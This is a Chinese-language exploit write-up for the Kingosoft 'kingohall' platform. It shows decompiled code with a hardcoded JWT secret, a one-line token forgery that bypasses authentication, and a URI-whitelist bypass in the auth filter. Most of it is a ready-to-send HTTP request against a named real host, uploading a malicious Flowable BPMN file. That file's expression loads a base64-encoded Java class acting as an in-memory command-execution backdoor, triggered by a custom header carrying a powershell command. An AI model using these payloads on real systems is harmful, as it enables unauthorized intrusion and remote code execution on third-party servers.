鉴权绕过
JWT 硬编码
package com.kingosoft.admin.common.util.web;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
/* loaded from: kingosoft-hall.jar:com/kingosoft/admin/common/util/web/JwtUtil.class */
public class JwtUtil {
private static String clientId = "098f6bcd4621d373cade4e832627b4f6";
private static String base64Secret = "MDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjY";
private static String name = "restapiuser";
private static int expiresSecond = 172800;
public static String generateToken(String userId, String loginId, String userName) {
HashMap<String, Object> map = new HashMap<>();
map.put("userId", userId);
map.put("loginId", loginId);
map.put("userName", userName);
String jwt = Jwts.builder().setClaims(map).setExpiration(new Date(System.currentTimeMillis() + 604800000)).signWith(SignatureAlgorithm.HS512, base64Secret).compact();
return jwt;
}
public static String genRandomCodeToken(String randomCode) {
HashMap<String, Object> map = new HashMap<>();
map.put("randomCode", randomCode);
String jwt = Jwts.builder().setClaims(map).setExpiration(new Date(System.currentTimeMillis() + 50000)).signWith(SignatureAlgorithm.HS512, base64Secret).compact();
return jwt;
}
public static void validateToken(String token) {
try {
} catch (Exception e) {
throw new IllegalStateException("无效的Token. " + e.getMessage());
}
}
public static Map<String, Object> parseToken(String token) {
try {
Map<String, Object> body = (Map) Jwts.parser().setSigningKey(base64Secret).parseClaimsJws(token).getBody();
return body;
} catch (Exception e) {
return null;
}
}
}
package com.kingosoft.admin.common.util.web;
/* loaded from: kingosoft-hall.jar:com/kingosoft/admin/common/util/web/DESUtils.class */
public class DESUtils {
public static String entryTokenStr(String token) {
String oldHeader = "e" + token.substring(0, token.indexOf("."));
String token2 = token.substring(token.indexOf(".") + 1);
String oldPayload = "d" + token2.substring(0, token2.indexOf("."));
String jwtSecret = token2.substring(token2.lastIndexOf(".") + 1);
return oldHeader + "." + oldPayload + "." + jwtSecret;
}
public static String decodeTokenStr(String token) {
String[] tmpArr = token.split("\\.");
String srcHeader = tmpArr[0];
String srcHeader2 = srcHeader.substring(1);
String srcPayload = tmpArr[1];
String srcPayload2 = srcPayload.substring(1);
String secret = tmpArr[2];
return srcHeader2 + "." + srcPayload2 + "." + secret;
}
}
System.out.println(DESUtils.entryTokenStr(JwtUtil.generateToken("1","admin")));即可绕过鉴权
鉴权绕过
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain filterChain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) arg0;
HttpServletResponse response = (HttpServletResponse) arg1;
response.setHeader("Access-Control-Allow-Origin", "*");
response.setHeader("Access-Control-Allow-Credentials", SecurityConstants.INNER_TRUE);
response.setHeader("Access-Control-Allow-Methods", "*");
response.setHeader("Access-Control-Allow-Headers", "x-auth-token");
response.setHeader("Access-Control-Expose-Headers", "*");
if (request.getMethod().equals("OPTIONS")) {
response.setStatus(HttpStatus.OK.value());
return;
}
String uri = request.getRequestURI().substring(request.getContextPath().length());
JSONObject result = new JSONObject();
String token = request.getHeader("x-auth-token");
String ip = ServletUtil.getIpAddr(request);
MDC.put("IP", ip);
if (!uri.contains("visitor") && !uri.contains("druid") && !uri.contains("upload") && !uri.contains("downloadSource") && !uri.contains("/kingoapi") && !uri.contains("video/download") && !uri.contains("login") && !uri.contains("pdfjs") && !uri.contains("swagger") && !uri.contains("v2/api-docs") && !uri.contains("casLogout") && !uri.contains("index") && !uri.contains("systemSiteHomeMenu") && !uri.contains("images")) {
if (StringUtil.isEmpty(token)) {
result.put("SUCCESS", "0");
result.put("type", "noLogin");
result.put("MSG", "未认证");
response.setCharacterEncoding(Constants.CHARSET_NAME_UTF8);
response.setContentType("application/json; charset=utf-8");
PrintWriter writer = response.getWriter();
writer.write(result.toString());
writer.close();
return;
}
String token2 = DESUtils.decodeTokenStr(token);
try {
JwtUtil.validateToken(token2);
Map tokenMap = JwtUtil.parseToken(token2);
if (null == tokenMap) {
result.put("SUCCESS", "0");
result.put("type", "invalidSession");
result.put("MSG", "会话己超时,请重新登录");
response.setCharacterEncoding(Constants.CHARSET_NAME_UTF8);
response.setContentType("application/json; charset=utf-8");
PrintWriter writer2 = response.getWriter();
writer2.write(result.toString());
writer2.close();
return;
}
try {
request.setAttribute("TOKEN_MAP", tokenMap);
filterChain.doFilter(request, response);
MDC.remove("IP");
return;
} catch (Throwable th) {
MDC.remove("IP");
throw th;
}
} catch (Exception e) {
response.sendError(401, e.getMessage());
return;
}
}
filterChain.doFilter(request, response);
}只要uri中存在上面白名单的任意一项都可以绕过鉴权
Flowable RCE
这里是Deploy触发,还有其他点
POST /kingohall/flowable/processDefinition/import.pdfjs HTTP/1.1
Host: wisdomep.tjtdxy.cn:8443
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Fbpkebfim: powershell "ls C:\\Users\\Administrator\\Downloads\\"
Content-Length: 9021
Content-Type: multipart/form-data; boundary=83dc0c5e634d205b81f8f28cccea2c1d
--83dc0c5e634d205b81f8f28cccea2c1d
Content-Disposition: form-data; name="file"; filename="ZndbiKhC.bpmn20.xml"
<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:flowable="http://flowable.org/bpmn" xmlns:bpmndi="http://www.omg.org/spec/BPMN/20100524/DI" xmlns:omgdc="http://www.omg.org/spec/DD/20100524/DC" xmlns:omgdi="http://www.omg.org/spec/DD/20100524/DI" typeLanguage="http://www.w3.org/2001/XMLSchema" expressionLanguage="http://www.w3.org/1999/XPath" targetNamespace="http://www.flowable.org/processdef">
<process id="xxxx" name="xxxx" isExecutable="true">
<documentation>Evil</documentation>
<startEvent id="sid-D15888F1-C94A-4D4E-8B02-73E8E2212BFF" isInterrupting="false">
<timerEventDefinition>
<timeDate>${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{ classLoader.loadClass(\"org.apache.logging.tqiwy.ReflectUtil\").newInstance();}catch (e){ var clsString = classLoader.loadClass('java.lang.String'); var bytecodeBase64 = \"yv66vgAAADEBCAEAJG9yZy9hcGFjaGUvbG9nZ2luZy90cWl3eS9SZWZsZWN0VXRpbAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJkxvcmcvYXBhY2hlL2xvZ2dpbmcvdHFpd3kvUmVmbGVjdFV0aWw7DAAFAAYKAAQADAEAA3J1bgwADgAGCgACAA8BABBnZXRSZXFIZWFkZXJOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABFDb250ZW50LUZicGtlYmZpbQgAEwEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcAFQEAE2phdmEvbGFuZy9FeGNlcHRpb24HABcBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAZAQAFdmFyMTUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEABXZhcjEzAQAFdmFyMTQBAAV2YXIxMgEACHJlc3BvbnNlAQASTGphdmEvbGFuZy9PYmplY3Q7AQAGd3JpdGVyAQAQTGphdmEvaW8vV3JpdGVyOwEABHZhcjcBABJMamF2YS9sYW5nL1N0cmluZzsBAAR2YXI2AQABSQEABHZhcjUBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAR2YXIzAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABHZhcjQBAAR2YXIyAQAEdmFyMAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAEdmFyMQEAE1tMamF2YS9sYW5nL1RocmVhZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHADIHADEBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcANQEAE2phdmEvdXRpbC9BcnJheUxpc3QHADcBABBqYXZhL2xhbmcvU3RyaW5nBwA5AQANU3RhY2tNYXBUYWJsZQEAEGphdmEvbGFuZy9UaHJlYWQHADwBAApnZXRUaHJlYWRzCAA+AQAPamF2YS9sYW5nL0NsYXNzBwBAAQASW0xqYXZhL2xhbmcvQ2xhc3M7BwBCAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DABEAEUKAEEARgEADXNldEFjY2Vzc2libGUBAAQoWilWDABIAEkKADMASgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwATABNCgAzAE4BAAdnZXROYW1lDABQABIKAD0AUQEABGh0dHAIAFMBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAVQBWCgA6AFcBAAhBY2NlcHRvcggAWQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAWwBcCgAEAF0BAAZ0YXJnZXQIAF8BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABhAGIKAEEAYwoANgBKAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAGYAZwoANgBoAQAIZW5kcG9pbnQIAGoBAAZ0aGlzJDAIAGwBAAdoYW5kbGVyCABuAQANZ2V0U3VwZXJjbGFzcwwAcABcCgBBAHEBAAZnbG9iYWwIAHMBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAHUAdgoAQQB3AQAib3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdEdyb3VwSW5mbwgAeQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAewEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAH0AfgoAfAB/CgBBAFEBAApwcm9jZXNzb3JzCACCAQAEc2l6ZQEAAygpSQwAhACFCgA4AIYBABUoSSlMamF2YS9sYW5nL09iamVjdDsMAGYAiAoAOACJAQADcmVxCACLAQAHZ2V0Tm90ZQgAjQEAEWphdmEvbGFuZy9JbnRlZ2VyBwCPAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DACRAJIJAJAAkwEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DACVAJYKAJAAlwEACWdldEhlYWRlcggAmQEACWdldE1ldGhvZAwAmwBFCgBBAJwMABEAEgoAAgCeAQALZ2V0UmVzcG9uc2UIAKABAAlnZXRXcml0ZXIIAKIBAA5qYXZhL2lvL1dyaXRlcgcApAEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwApgCnCgACAKgBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAqgCrCgClAKwBAAVmbHVzaAwArgAGCgClAK8BAAVjbG9zZQwAsQAGCgClALIBAAdpc0xpbnV4AQABWgEABm9zVHlwZQEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEAB2V4ZWNSZXMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADY21kBwC4AQATamF2YS9pby9JbnB1dFN0cmVhbQcAwgEAEWphdmEvdXRpbC9TY2FubmVyBwDEAQAHb3MubmFtZQgAxgEAEGphdmEvbGFuZy9TeXN0ZW0HAMgBAAtnZXRQcm9wZXJ0eQwAygCnCgDJAMsBAAt0b0xvd2VyQ2FzZQwAzQASCgA6AM4BAAN3aW4IANABAAcvYmluL3NoCADSAQACLWMIANQBAAdjbWQuZXhlCADWAQACL2MIANgBABFqYXZhL2xhbmcvUnVudGltZQcA2gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMANwA3QoA2wDeAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwApgDgCgDbAOEBABFqYXZhL2xhbmcvUHJvY2VzcwcA4wEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAOUA5goA5ADnAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAFAOkKAMUA6gEAAlxhCADsAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2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\"; var bytecode; try{ var clsBase64 = classLoader.loadClass(\"java.util.Base64\"); var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\"); var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz); bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64); } catch (ee) { var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\"); bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64); } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = classLoader.loadClass('[B'); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt); defineClass.setAccessible(true); var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length); clazz.newInstance();}")}</timeDate>
</timerEventDefinition>
</startEvent>
</process>
<bpmndi:BPMNDiagram id="BPMNDiagram_Evil">
<bpmndi:BPMNPlane bpmnElement="Evil" id="BPMNPlane_Evil">
<bpmndi:BPMNShape bpmnElement="sid-D15888F1-C94A-4D4E-8B02-73E8E2212BFF" id="BPMNShape_sid-D15888F1-C94A-4D4E-8B02-73E8E2212BFF">
<omgdc:Bounds height="31.0" width="31.0" x="11.0" y="129.5"></omgdc:Bounds>
</bpmndi:BPMNShape>
</bpmndi:BPMNPlane>
</bpmndi:BPMNDiagram>
</definitions>
--83dc0c5e634d205b81f8f28cccea2c1d--